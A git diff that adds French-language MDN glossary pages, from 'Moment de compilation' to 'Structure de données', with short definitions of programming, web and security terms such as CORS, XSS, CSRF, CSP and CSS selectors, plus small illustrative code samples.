+ + diff --git a/files/fr/glossary/compile_time/index.html b/files/fr/glossary/compile_time/index.html new file mode 100644 index 0000000000..22be739e22 --- /dev/null +++ b/files/fr/glossary/compile_time/index.html @@ -0,0 +1,19 @@ +--- +title: Moment de compilation +slug: Glossaire/Moment_de_compilation +tags: + - CodingScripting + - Glossaire + - JavaScript +translation_of: Glossary/Compile_time +--- +

Le moment de compilation est le moment allant du premier chargement du programme jusqu'à la fin de son {{Glossary("parse","analyse syntaxique")}}.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Compile time")}} sur Wikipédia (anglais)
    • +
  • Compile Time sur Wikipédia(anglais)
    • +
diff --git a/files/fr/glossary/computer_programming/index.html b/files/fr/glossary/computer_programming/index.html new file mode 100644 index 0000000000..5df7497621 --- /dev/null +++ b/files/fr/glossary/computer_programming/index.html @@ -0,0 +1,21 @@ +--- +title: Programmation informatique +slug: Glossaire/Computer_Programming +tags: + - Langage de programmation + - Programmation + - Programmation informatique +translation_of: Glossary/Computer_Programming +--- +

La programmation informatique est un processus de composition et d'organisation d'un ensemble d'instructions. Celles-ci indiquent à un ordinateur / logiciel ce qu'il faut faire dans une langue que l'ordinateur comprend. Elles sont réalisées sous la forme de plusieurs langages différents tels que C ++, Java, JavaScript, HTML, Python, Ruby et Rust.

+ +

En utilisant un langage approprié, vous pouvez programmer / créer toutes sortes de logiciels. Par exemple, un programme qui aide les scientifiques pour des calculs complexes, une base de données qui stocke d'énormes quantités de données, un site Web qui permet de télécharger de la musique ou un logiciel d'animation pour la création de films animés.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Programmation informatique")}} sur Wikipédia
    • +
  • {{Interwiki("wikipedia", "Liste_de_langages_de_programmation")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/conditional/index.html b/files/fr/glossary/conditional/index.html new file mode 100644 index 0000000000..40eab1c250 --- /dev/null +++ b/files/fr/glossary/conditional/index.html @@ -0,0 +1,32 @@ +--- +title: Condition +slug: Glossaire/Conditionnel +tags: + - Débutant + - Glossaire + - scripts +translation_of: Glossary/Conditional +--- +

Une condition est un ensemble de règles qui peut interrompre ou modifier l'exécution normale du code, selon que la condition est remplie ou non.

+ +

Une instruction, ou un ensemble d'instructions, est démarrée si une condition spécifique est remplie. Dans le cas contraire, d'autres instructions sont exécutées. Il est également possible de répéter l'exécution d'une instruction, ou ensemble d'instructions, tant qu'une condition n'est pas encore remplie.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia", "Système_de_gestion_d'exceptions#Le_syst.C3.A8me_de_conditions_de_Common_Lisp", "Condition")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +

Apprendre

+ + diff --git a/files/fr/glossary/constant/index.html b/files/fr/glossary/constant/index.html new file mode 100644 index 0000000000..66a256334f --- /dev/null +++ b/files/fr/glossary/constant/index.html @@ -0,0 +1,20 @@ +--- +title: Constante +slug: Glossaire/Constant +tags: + - Constante + - Glossaire + - scripts +translation_of: Glossary/Constant +--- +

Une constante est une valeur que le programmeur ne peut pas modifier, des nombres par exemple (1, 2, 42). Par contre, avec des {{glossary("Variable","variables")}}, le programmeur peut affecter une nouvelle {{glossary("value","valeur")}} à un nom de variable déjà utilisé.

+ +

Comme les variables, certaines constantes sont désignées par des identificateurs. Par exemple, l'identificateur pi peut être associé à la valeur 3,14... .

+ +

Plus d'informations

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Constante")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/constructor/index.html b/files/fr/glossary/constructor/index.html new file mode 100644 index 0000000000..05981a50d1 --- /dev/null +++ b/files/fr/glossary/constructor/index.html @@ -0,0 +1,48 @@ +--- +title: Constructeur +slug: Glossaire/Constructeur +tags: + - Glossaire + - scripts +translation_of: Glossary/Constructor +--- +

Un constructeur est associé à un {{glossary("object","objet")}} d'une classe particulière qui a été instanciée. Le constructeur initialise cet objet et peut fournir un accès à ses informations privées. Le concept de constructeur peut s'appliquer à la plupart des langages de {{glossary("OOP","programmation orientée objet")}}. Dans l'essentiel, un constructeur en {{glossary("JavaScript")}} est en général déclaré lors de l'instance d'une {{glossary("Class","classe")}}.

+ +

Syntaxe

+ +
// Voici un constructeur générique par défaut de la classe Default
+function Default() {
+}
+
+// Voici le constructeur de classe surchargé Overloaded
+// avec des arguments en paramètres
+function Overloaded(arg1, arg2, ...,argN){
+}
+
+ +

Pour appeler le constructeur d'une classe en JavaScript, utilisez un opérateur new pour affecter une nouvelle {{glossary("Object reference","référence d'objet")}} à une {{glossary("Variable","variable")}}.

+ +
function Default() {
+}
+
+// Une nouvelle référence d'un objet Default affectée à
+// la variable locale defaultReference
+var defaultReference = new Default();
+
+ +

 

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Constructeur (programmation)", "Constructeur")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/control_flow/index.html b/files/fr/glossary/control_flow/index.html new file mode 100644 index 0000000000..e308d5ef62 --- /dev/null +++ b/files/fr/glossary/control_flow/index.html @@ -0,0 +1,47 @@ +--- +title: Structure de contrôle +slug: Glossaire/Structure_de_contrôle +tags: + - Encodage + - Glossaire + - JavaScript +translation_of: Glossary/Control_flow +--- +

Les structures de contrôle déterminent l'ordre dans lequel l'ordinateur exécute les instructions d'un script.

+ +

Le code est exécuté dans l'ordre de la première ligne du fichier jusqu'à la dernière ligne, sauf si l'ordinateur parcourt une des (très fréquentes) structures qui modifie le cours d'exécution du programme, comme des conditions et des boucles. 

+ +

Par exemple, imaginons un script utilisé pour valider les données saisies par l'utilisateur dans un formulaire sur une page web. Le script envoie la donnée validée, mais si l'utilisateur, disons, laisse vide un champ obligatoire, le script lui demandera de le remplir. Pour faire cela, le script utilise une structure {{Glossary("Conditional", "conditionelle")}} ou if...else, afin que le code s'exécute différemment, selon que le formulaire est complété ou non :

+ +
if (champ==vide) {
+    demanderUtilisateur();
+} else {
+    envoyerForm();
+}
+
+ +

Un script classique en {{glossary("JavaScript")}} ou {{glossary("PHP")}} (et autres langages similaires) comporte de nombreuses structures de contrôle, dont des conditions, des {{Glossary("Loop", "boucles")}} et des {{Glossary("Function", "fonctions")}}. Des portions de script peuvent aussi être amenées à être exécutées quand des {{Glossary("Event", "événements")}} se produisent.

+ +

Par exemple, l'extrait de code ci-dessus peut être placé dans une fonction qui se lance quand l'utilisateur clique sur le bouton Submit du formulaire. La fonction peut aussi être intégrée dans une boucle qui parcourt tous les champs du formulaire pour les vérifier chacun à tour de rôle. En regardant à nouveau le code des sections if et else, les lignes demanderUtilisateur et envoyerForm peuvent également être des appels vers d'autres fonctions du script. Comme vous pouvez le voir, les structures de contrôle peuvent imposer des flux de traitement complexes même avec peu de lignes de code.

+ +

Le contrôle de flux montre que lorsque vous lisez un script, vous ne devez pas seulement le lire du début à la fin, mais vous devez aussi regarder la structure du programme et voir comment cela affecte l'ordre d'exécution.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia","Structure_de_contrôle","Structure de contrôle")}} sur Wikipédia
    • +
+ +

Référence technique

+ + + +

Apprendre

+ + diff --git a/files/fr/glossary/cookie/index.html b/files/fr/glossary/cookie/index.html new file mode 100644 index 0000000000..3f445a6a00 --- /dev/null +++ b/files/fr/glossary/cookie/index.html @@ -0,0 +1,21 @@ +--- +title: Cookie +slug: Glossaire/Cookie +tags: + - Glossaire + - Mécanique web +translation_of: Glossary/Cookie +--- +

Un cookie est un petit bout d'information laissé via le navigateur web par un site web sur l'ordinateur du visiteur.

+ +

Les cookies servent à personnaliser l'expérience web d'un utilisateur vis-à-vis d'un site web. Il peut contenir les préférences de l'utilisateur ou les saisies lors de l'accès à ce site web. Les utilisateurs peuvent configurer leurs navigateurs web pour accepter, rejeter ou supprimer les cookies.

+ +

Les cookies peuvent être définis et modifiés au niveau serveur par l'en-tête HTTP Set-Cookie ou en JavaScript avec document.cookie.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/copyleft/index.html b/files/fr/glossary/copyleft/index.html new file mode 100644 index 0000000000..904011a431 --- /dev/null +++ b/files/fr/glossary/copyleft/index.html @@ -0,0 +1,19 @@ +--- +title: Copyleft +slug: Glossaire/Copyleft +tags: + - Glossaire + - OpenPractices + - Partage + - Remixing +translation_of: Glossary/Copyleft +--- +

Copyleft est un terme, faisant généralement référence à une licence, utilisé pour indiquer que cette dernière impose la redistribution dudit travail sous la même licence que l'original. Des exemples de licences copyleft sont la GNU {{Glossary("GPL")}} (pour le logiciel) et les licences Creative Commons SA (Share Alike) (pour les œuvres artisitiques).

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Copyleft")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/cors/index.html b/files/fr/glossary/cors/index.html new file mode 100644 index 0000000000..701cd7bedd --- /dev/null +++ b/files/fr/glossary/cors/index.html @@ -0,0 +1,52 @@ +--- +title: CORS +slug: Glossaire/CORS +tags: + - CORS + - Glossaire + - Infrastructure + - Sécurité +translation_of: Glossary/CORS +--- +

CORS (Partage de ressource cross-origin) est un mécanisme qui consiste à transmettre des entêtes HTTP qui déterminent s'il faut ou non bloquer les requêtes à des ressources restreintes sur une page web qui se trouve sur un domaine externe au domaine dont la ressource est originaire.

+ +

La politique de sécurité de même origine interdit les requêtes d'origines différentes par défaut et ce pour des raisons de sécurité.
+ CORS permet de contourner cette limitation en permettant au serveur d'avoir le contrôle sur les ressources partagés et offre un mécanisme sécurisé pour permettre l'échange de données qui ne partagent pas le même domaine d'origine (d'où le terme "cross-origin").

+ +

Pour approfondir

+ +

Culture générale

+ + + +

En-têtes liés au CORS

+ +
+
{{HTTPHeader("Access-Control-Allow-Origin")}}
+
Indique le ou les domaines pour lesquels la ressource peut être partagée.
+
{{HTTPHeader("Access-Control-Allow-Credentials")}}
+
Indique si la réponse peut ou non être exposée si le flag est à "true".
+
{{HTTPHeader("Access-Control-Allow-Headers")}}
+
Utilisé en réponse à une requête de pré-vérification pour indiquer quels sont les en-têtes qui peuvent être utilisés dans la requête courante.
+
{{HTTPHeader("Access-Control-Allow-Methods")}}
+
Utilisé en réponse à une requête de pré-vérification pour indiquer quels sont les méthodes allouées pour accéder à une ressource.
+
{{HTTPHeader("Access-Control-Expose-Headers")}}
+
Indique quels en-têtes peuvent être exposés dans le cadre de la réponse en énumérant leurs noms.
+
{{HTTPHeader("Access-Control-Max-Age")}}
+
Indique combien de temps le résultat d'une pré-vérification peut être gardé en cache par le demandeur de la pré-vérification.
+
{{HTTPHeader("Access-Control-Request-Headers")}}
+
Utilisé lors de l'émission d'une demande de contrôle en amont, pour indiquer au serveur quels en-têtes HTTP seront utilisés lors de la demande.
+
{{HTTPHeader("Access-Control-Request-Method")}}
+
Utilisé lors de l'émission d'une demande de contrôle en amont permettant au serveur de savoir quelle méthode HTTP sera utilisée lors de la création de la requête.
+
{{HTTPHeader("Origin")}}
+
Indique quelle est l'origine d'une récupération.
+
+ +

Référence technique

+ + diff --git a/files/fr/glossary/crawler/index.html b/files/fr/glossary/crawler/index.html new file mode 100644 index 0000000000..ccd6a42b51 --- /dev/null +++ b/files/fr/glossary/crawler/index.html @@ -0,0 +1,17 @@ +--- +title: Robot d'indexation +slug: Glossaire/Robot_d_indexation +tags: + - Glossaire + - Infrastructure + - Navigateur + - Robot d'indexation +translation_of: Glossary/Crawler +--- +

Un robot d'indexation est un programme, souvent appelé bot ou robot, qui parcourt de manière systématique le {{glossary("World Wide Web","Web")}} pour collecter des données à partir des pages web. Les moteurs de recherche utilisent généralement des robots d'indexation pour construire leurs index.

+ +

Pour approfondir

+ +
    +
  • {{Interwiki("wikipedia", "Robot d'indexation")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/crlf/index.html b/files/fr/glossary/crlf/index.html new file mode 100644 index 0000000000..88bf9e44a9 --- /dev/null +++ b/files/fr/glossary/crlf/index.html @@ -0,0 +1,29 @@ +--- +title: CRLF +slug: Glossaire/CRLF +tags: + - CR + - CRLF + - Glossaire + - LF + - fin de ligne + - retour chariot +translation_of: Glossary/CRLF +--- +

CR et LF sont des caractères de contrôle ou bytecode qui peuvent être utilisés pour indiquer une fin de ligne dans un fichier texte.

+ +
    +
  • CR = Carriage Return (Retour chariot) (\r, 0x0D en hexadécimal, 13 en décimal) — déplace le curseur au début de la ligne sans avancer à la ligne suivante.
    • +
  • LF = Line Feed, Saut de ligne (\n, 0x0A en hexadécimal, 10 en décimal) — déplace le curseur vers la ligne suivante sans retour au début de la ligne.
    • +
+ +

Un CR tout de suite suivi par un LF (CRLF, \r\n, ou 0x0D0A) descend le curseur vers la ligne suivante et le place au début de la ligne.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{interwiki("wikipedia","Fin_de_ligne","Fin de ligne")}} sur Wikipédia
    • +
  • {{interwiki("wikipedia","Retour_chariot","Retour chariot")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/cross-site_scripting/index.html b/files/fr/glossary/cross-site_scripting/index.html new file mode 100644 index 0000000000..77ca745489 --- /dev/null +++ b/files/fr/glossary/cross-site_scripting/index.html @@ -0,0 +1,39 @@ +--- +title: Cross-site scripting +slug: Glossaire/Cross-site_scripting +tags: + - DOM + - Faille de sécurité + - Glossaire + - Sécurité + - XSS +translation_of: Glossary/Cross-site_scripting +--- +

Cross-site scripting (XSS) est une faille de sécurité qui permet à un attaquant d'injecter dans un site web un code client malveillant. Ce code est exécuté par les victimes et permet aux attaquants de contourner les contrôles d'accès et d'usurper l'identité des utilisateurs. Selon le projet Open Web Application Security, XSS était la troisième cause de vulnérabilité des applications du web en 2013.

+ +

Ces attaques réussissent si l'application Web n'emploie pas assez de validation ou d'encodage. Le navigateur de l'utilisateur ne peut pas détecter que le script malveillant n'est pas fiable et lui donne donc accès à tous les cookies, jetons de session ou autres informations sensibles propres au site, ou permet au script malveillant de réécrire le contenu {{glossary("HTML")}}.

+ +

Les attaques de script intersite se produisent généralement lorsque 1) les données entrent dans une application Web via une source non fiable (le plus souvent une requête web) ou 2) le contenu dynamique est envoyé à un utilisateur web sans être reconnu comme un contenu malveillant.

+ +

Le contenu malveillant inclut souvent {{glossary("JavaScript")}}, mais parfois HTML, Flash, ou quelqu'autre code que le navigateur peut exécuter. La diversité des attaques basées sur XSS est presque illimitée, mais elles incluent généralement la transmission de données privées comme des cookies ou d'autres informations de session à l'attaquant, redirigeant la victime vers une page Web contrôlée par l'attaquant ou exécutant d'autres opérations malveillantes sur la machine de l'utilisateur.

+ +

Les attaques XSS peuvent être classées en 3 catégories : stockée (aussi appelée persistante), reflétée (aussi appelée non-persistante) ou basée sur DOM.

+ +
+
Les attaques XSS stockées
+
Le script injecté est stocké en permanence sur les serveurs cibles. La victime extrait ensuite ce script malveillant du serveur lorsque le navigateur envoie une demande de données.
+
Les attaques XSS reflétées
+
Lorsqu'un utilisateur est trompé en cliquant sur un lien malveillant, en soumettant un formulaire spécialement conçu ou en naviguant sur un site malveillant, le code injecté se rend sur le site Web vulnérable. Le serveur Web renvoie le script injecté au navigateur de l'utilisateur, par exemple dans un message d'erreur, un résultat de recherche ou toute autre réponse incluant des données envoyées au serveur dans le cadre de la demande. Le navigateur exécute le code car il suppose que la réponse provient d'un serveur "de confiance" avec lequel l'utilisateur a déjà interagi.
+
Les attaques XSS basées sur DOM
+
La charge utile est exécutée à la suite de la modification de l'environnement DOM (dans le navigateur de la victime) utilisé par le script côté client d'origine. En d'autres termes, la page elle-même ne change pas, mais le code côté client contenu dans la page s'exécute de manière inattendue en raison des modifications malveillantes apportées à l'environnement DOM.
+
+ +

En apprendre plus

+ +

Culture générale

+ + diff --git a/files/fr/glossary/cross_axis/index.html b/files/fr/glossary/cross_axis/index.html new file mode 100644 index 0000000000..5084de43ea --- /dev/null +++ b/files/fr/glossary/cross_axis/index.html @@ -0,0 +1,41 @@ +--- +title: Axe transversal +slug: Glossaire/Axe_transversal +tags: + - CSS + - Glossaire + - axes +translation_of: Glossary/Cross_Axis +--- +

L'axe transversal d'une {{glossary("flexbox")}} traverse l'{{glossary("Main Axis","axe principal")}}, donc si la {{glossary("flex-direction")}} et l'axe principal sont row (ligne) ou row-reverse l'axe transversal est en colonne.

+ +

The cross axis runs down the column

+ +

Si l'axe principal est column ou column-reverse, l'axe transversal est donc en ligne.

+ +

The cross axis runs along the row.

+ +

L'alignement des articles sur l'axe transversal est réalisé avec la propriété align-items sur le conteneur flexible ou la propriété align-self sur les éléments individuels. Dans le cas d'un conteneur flexible multi-lignes, avec un espace supplémentaire sur l'axe transversal, vous pouvez utiliser align-content pour contrôler l'espacement des lignes.

+ +

En apprendre plus

+ +

Références de la propriété

+ +
+
    +
  • {{cssxref("align-content")}}
    • +
  • {{cssxref("align-items")}}
    • +
  • {{cssxref("align-self")}}
    • +
  • {{cssxref("flex-wrap")}}
    • +
  • {{cssxref("flex-direction")}}
    • +
  • {{cssxref("flex")}}
    • +
+
+ +

En lire plus

+ + diff --git a/files/fr/glossary/crud/index.html b/files/fr/glossary/crud/index.html new file mode 100644 index 0000000000..2f4018e0f0 --- /dev/null +++ b/files/fr/glossary/crud/index.html @@ -0,0 +1,17 @@ +--- +title: CRUD +slug: Glossaire/CRUD +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/CRUD +--- +

CRUD (create, read, update, delete) (créer, lire, mettre à jour, supprimer) est un acronyme pour les façons dont on peut fonctionner sur des données stockées. C'est un moyen mnémotechnique pour les quatre fonctions de base du stockage persistant. CRUD fait généralement référence aux opérations effectuées dans une base de données ou un magasin de données, mais peut également s'appliquer aux fonctions de niveau supérieur d'une application telles que les suppressions logicielles lorsque les données ne sont pas supprimées mais marquées comme supprimées via un état.

+ +

En apprendre plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "CRUD")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/cryptanalysis/index.html b/files/fr/glossary/cryptanalysis/index.html new file mode 100644 index 0000000000..cf35e2a126 --- /dev/null +++ b/files/fr/glossary/cryptanalysis/index.html @@ -0,0 +1,19 @@ +--- +title: Cryptanalyse +slug: Glossaire/Cryptanalyse +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Cryptanalysis +--- +

La cryptanalyse est la branche de la {{glossary("cryptography","cryptographie")}} qui étudie la manière de casser des codes et des cryptosystèmes. Elle développe des techniques pour casser les {{glossary("cipher","systèmes cryptographiques")}}, en particulier par des méthodes plus efficaces que la recherche par force brute. En plus des méthodes traditionnelles comme l'analyse fréquentielle ou l'indice de coïncidence, la cryptanalyse intègre des méthodes plus récentes, comme la cryptanalyse linéaire our la cryptanalyse différentielle qui peuvent venir à bout de systèmes cryptographiques plus avancés.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Cryptanalyse")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/cryptographic_hash_function/index.html b/files/fr/glossary/cryptographic_hash_function/index.html new file mode 100644 index 0000000000..32548e31a6 --- /dev/null +++ b/files/fr/glossary/cryptographic_hash_function/index.html @@ -0,0 +1,27 @@ +--- +title: Fonction de hachage cryptographique +slug: Glossaire/Fonction_de_hachage_cryptographique +tags: + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Cryptographic_hash_function +--- +

Une fonction de hachage cryptographique est une primitive {{glossary("cryptographie", "cryptographique")}} qui transforme un message de taille arbitraire en un message de taille fixe, appelé un {{glossary("digest","condensé")}}. Les fonctions de hachage cryptographiques sont employées pour l'authentification, les {{Glossary("Digital signature", "signatures numériques")}} et les {{Glossary("HMAC", "codes d'authentification de messages")}}.

+ +

Pour être utilisable en cryptographie, une fonction de hachage doit disposer de ces qualités :

+ +
    +
  • rapide à calculer (parce qu'elles sont fréquemment sollicitées)
    • +
  • non réversible (chaque condensé peut provenir d'un très grand nombre de messages, et seule la force brute peut générer un message qui conduit à un condensé donné)
    • +
  • résistant à la falsification (la moindre modification du message aboutit à un condensé différent)
    • +
  • résistant aux collisions (il devrait être impossible de trouver deux messages différents qui produisent le même condensé)
    • +
+ +

Les fonctions de hachage cryptographiques comme MD5 et SHA-1 sont considérées cassées car des attaques permettant de réduire significativement leur résistance aux collisions ont été trouvées.

+ +

Pour approfondir

+ +
    +
  • {{interwiki("wikipedia", "Fonction de hachage cryptographique", "Fonction de hachage cryptographique")}} sur Wikipédia
    • +
diff --git a/files/fr/glossary/cryptography/index.html b/files/fr/glossary/cryptography/index.html new file mode 100644 index 0000000000..6b7c78ae56 --- /dev/null +++ b/files/fr/glossary/cryptography/index.html @@ -0,0 +1,21 @@ +--- +title: Cryptographie +slug: Glossaire/Cryptographie +tags: + - Confidentialité + - Cryptographie + - Glossaire + - Sécurité +translation_of: Glossary/Cryptography +--- +

La cryptographie, ou cryptologie, est la science qui étudie comment coder et transmettre des messages de manière sécurisée. La cryptographie conçoit et étudie des algorithmes (utilisés pour coder et décoder des messages dans un environnement non sûr) et leurs applications. En plus de la confidentialité des données, la cryptographie s'attaque aussi à l'identification, l'authentification, la non-répudiation, et l'intégrité des données. Par conséquent, elle étudie également l'usage des méthodes cryptographiques dans ce contexte, les cryptosystèmes.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/csp/index.html b/files/fr/glossary/csp/index.html new file mode 100644 index 0000000000..45a154a033 --- /dev/null +++ b/files/fr/glossary/csp/index.html @@ -0,0 +1,27 @@ +--- +title: CSP +slug: Glossaire/CSP +tags: + - Glossaire + - HTTP + - Infrastructure + - Sécurité +translation_of: Glossary/CSP +--- +

Un CSP (Content Security Policy) est utilisé pour détecter et restreindre certains types d'attaques visant des sites web comme les failles {{Glossary("Cross-site scripting")}} et les injections de données.

+ +

L'implémentation est basée sur un en-tête {{Glossary("HTTP")}} appelé Content-Security-Policy.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Connaissances techniques

+ + diff --git a/files/fr/glossary/csrf/index.html b/files/fr/glossary/csrf/index.html new file mode 100644 index 0000000000..d04d5207e1 --- /dev/null +++ b/files/fr/glossary/csrf/index.html @@ -0,0 +1,19 @@ +--- +title: CSRF +slug: Glossaire/CSRF +tags: + - Glossaire + - Sécurité +translation_of: Glossary/CSRF +--- +

CSRF (Cross-Site Request Forgery) est une attaque qui usurpe l'identité d'un utilisateur de confiance et envoie des commandes non désirées sur un site web. Cela peut être réalisé, par exemple, en ajoutant des paramètres malveillants dans une {{glossary("URL")}} associée à un lien qui prétend aller quelque part ailleurs.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/css/index.html b/files/fr/glossary/css/index.html new file mode 100644 index 0000000000..1b7bd31838 --- /dev/null +++ b/files/fr/glossary/css/index.html @@ -0,0 +1,51 @@ +--- +title: CSS +slug: Glossaire/CSS +tags: + - CSS + - Encodage + - Glossaire + - Web + - 'l10n:priority' +translation_of: Glossary/CSS +--- +

CSS (Cascading Style Sheets ou Feuilles de style en cascade en français) est un langage déclaratif utilisé pour décrire la présentation de pages web dans le {{glossary("Browser","navigateur")}}. Le navigateur applique les déclarations de style CSS aux éléments concernés pour les mettre en forme. Une déclaration de style contient des propriétés et leurs valeurs et détermine l'apparence d'un ou plusieurs éléments de la page.

+ +

CSS est l'une des trois technologies qui constituent le noyau du web, avec {{Glossary("HTML")}} et {{Glossary("JavaScript")}}. Ce langage est principalement utilisé pour appliquer un style aux {{Glossary("Element","éléments HTML")}}, mais peut aussi être utilisé avec d'autres langages de balisage tels que {{Glossary("SVG")}} ou encore {{Glossary("XML")}}.

+ +

Une règle CSS est un ensemble de {{Glossary("CSS Property","propriétés")}} associé à un {{Glossary("CSS selector" ,"sélecteur")}}. Voici un exemple dans lequel chaque paragraphe HTML apparaîtra en jaune sur fond noir :

+ +
/* Le sélecteur "p" indique que tous les paragraphes dans le document seront affectés par la règle */
+p {
+  /* La propriété "color" (couleur) définit la couleur du texte. */
+  /* Ici, cette couleur sera le jaune (yellow en anglais) */
+  color: yellow;
+
+  /* La propriété "background-color" (couleur d'arrière-plan) définit la couleur d'arrière-plan */
+  /* Ici, cette couleur sera le noir (black) */
+  background-color: black;
+}
+ +

Le principe de « cascade » fait référence aux règles de préséance dans l'application des divers {{Glossary("CSS Selector","sélecteurs")}} pointant le même élément de la page. C'est une fonctionnalité particulièrement importante dans la mesure où un site web complexe peut contenir des milliers de règles CSS.

+ +

Pour approfondir

+ +

Culture générale

+ +
    +
  • Apprendre CSS
    • +
  • {{interwiki("wikipedia","Feuilles_de_style_en_cascade", "Feuilles de style en cascade")}} sur Wikipédia
    • +
+ +

Références techniques

+ + + +

En apprendre plus sur CSS

+ + diff --git a/files/fr/glossary/css_pixel/index.html b/files/fr/glossary/css_pixel/index.html new file mode 100644 index 0000000000..26c52eb7a8 --- /dev/null +++ b/files/fr/glossary/css_pixel/index.html @@ -0,0 +1,34 @@ +--- +title: Pixel CSS +slug: Glossaire/Pixel_CSS +tags: + - CSS + - Glossaire + - Hauteur + - Largeur + - Longueur + - Pixel CSS + - pixel + - taille + - unité +translation_of: Glossary/CSS_pixel +--- +

Le pixel CSS—désigné dans {{Glossary("CSS")}} avec le suffixe px—est une unité de longueur qui correspond approximativement à la largeur ou à la hauteur d'un point unique qui peut être vu confortablement par l'œil humain sans effort mais par ailleurs aussi petit que possible. Par définition, il s'agit de la taille physique d'un seul pixel à une densité de pixels de 96 DPI, situé à une longueur de bras des yeux du spectateur.

+ +

Cette définition, bien sûr, laisse beaucoup de marge de manœuvre, car les termes "être vu confortablement" et "à une longueur de bras" sont imprécis et varient d'une personne à l'autre. Lorsqu'un utilisateur est assis à un bureau devant un desktop, l'écran est généralement beaucoup plus éloigné de ses yeux que lorsqu'il est sur un téléphone portable, par exemple.

+ +

En tant que tel, il suffit généralement de dire que lorsque l'unité px est utilisée, le but est d'essayer d'avoir la distance 96px égale à environ 1 inch sur l'écran, quelle que soit la densité de pixels réelle de l'écran. En d'autres termes, si l'utilisateur est sur un téléphone avec une densité de pixels de 266 DPI, et un élément est placé sur l'écran avec une largeur de 96px, la largeur réelle de l'élément serait de 266 {{Glossary("device pixels")}}.

+ +

Apprendre plus

+ +

Référence technique

+ + + +

En savoir plus

+ + diff --git a/files/fr/glossary/css_preprocessor/index.html b/files/fr/glossary/css_preprocessor/index.html new file mode 100644 index 0000000000..bf3a222025 --- /dev/null +++ b/files/fr/glossary/css_preprocessor/index.html @@ -0,0 +1,24 @@ +--- +title: Préprocesseur CSS +slug: Glossaire/preprocesseur_CSS +tags: + - CSS + - Glossaire +translation_of: Glossary/CSS_preprocessor +--- +

Un préprocesseur CSS est un programme  qui vous permet de générer des {{Glossary("CSS")}} à partir d'un unique préprocesseur propriétaire {{Glossary("Syntax")}}. Il y a de nombreux préprocesseurs CSS au choix, mais la plupart des préprocesseurs CSS ajoutent quelques fonctionnalités qui n'existent pas en CSS pur, telles que {{Glossary("Variable","variable")}}, mixin, sélecteur d'imbrication, etc. Ces fonctionnalités rendent la structure CSS plus lisible et plus facile à maintenir.

+ +

Pour utiliser un préprocesseur CSS, vous devez installer un compilateur CSS sur votre {{Glossary("Server","serveur")}} web.

+ +

En apprendre plus

+ +

Culture générale

+ +

Ici certains des préprocesseurs CSS les plus populaires:

+ + diff --git a/files/fr/glossary/css_selector/index.html b/files/fr/glossary/css_selector/index.html new file mode 100644 index 0000000000..ef01f56000 --- /dev/null +++ b/files/fr/glossary/css_selector/index.html @@ -0,0 +1,85 @@ +--- +title: Sélecteur CSS +slug: Glossaire/Sélecteur_CSS +tags: + - CSS + - Glossaire + - HTML + - Programmation + - Sélecteur + - Sélecteur CSS +translation_of: Glossary/CSS_Selector +--- +

Un sélecteur CSS est la partie de la règle CSS qui désigne les éléments d'un document concernés par la règle. Les éléments correspondants auront le style spécifié par la règle qui leur est appliqué.

+ +

Considérez ce code CSS :

+ +
p {
+  color: green;
+}
+
+div.warning {
+  width: 100%;
+  border: 2px solid yellow;
+  color: white;
+  background-color: darkred;
+  padding:  0.8em 0.8em 0.6em;
+}
+
+#customized {
+  font: 16px Lucida Grande, Arial, Helvetica, sans-serif;
+}
+ +

Les sélecteurs sont ici "p" (qui applique la couleur verte au texte de tout élément {{HTMLElement ("p")}}), "div.warning" (qui fait que tout élément {{HTMLElement ("div")}} appartenant à la {{Glossary ("Class", "classe CSS")}} "warning" ressemble à une boîte d'avertissement) et "#customized", qui définit la police de base de l'élément avec l'ID "customized" à 16 -pixel Lucida Grande ou l'une des polices de secours.

+ +

Nous pouvons ensuite appliquer ce CSS à du HTML, tel que :

+ +
<p>This is happy text.</p>
+
+<div class="warning">
+  Be careful! There are wizards present, and they are quick to anger!
+</div>
+
+<div id="customized">
+  <p>This is happy text.</p>
+
+  <div class="warning">
+    Be careful! There are wizards present, and they are quick to anger!
+  </div>
+</div>
+ +

Le contenu de la page résultant ressemble à ceci:

+ +

{{EmbedLiveSample("glossary-selector-details", 640, 210)}}

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Référence technique

+ +

{{SpecName("CSS3 Selectors")}}

diff --git a/files/fr/glossary/data_structure/index.html b/files/fr/glossary/data_structure/index.html new file mode 100644 index 0000000000..3aef43bb8e --- /dev/null +++ b/files/fr/glossary/data_structure/index.html @@ -0,0 +1,16 @@ +--- +title: Structure de données +slug: Glossaire/Structure_de_données +tags: + - Structure de données +translation_of: Glossary/Data_structure +--- +

Une structure de données est une façon particulière d'organiser des données afin de pouvoir les utiliser efficacement.

+ +

Pour approfondir

+ +

En général

+ +
    +
  • {{interwiki("wikipedia", "Structure_de_données", "Structure de données")}} sur Wikipédia
    • +
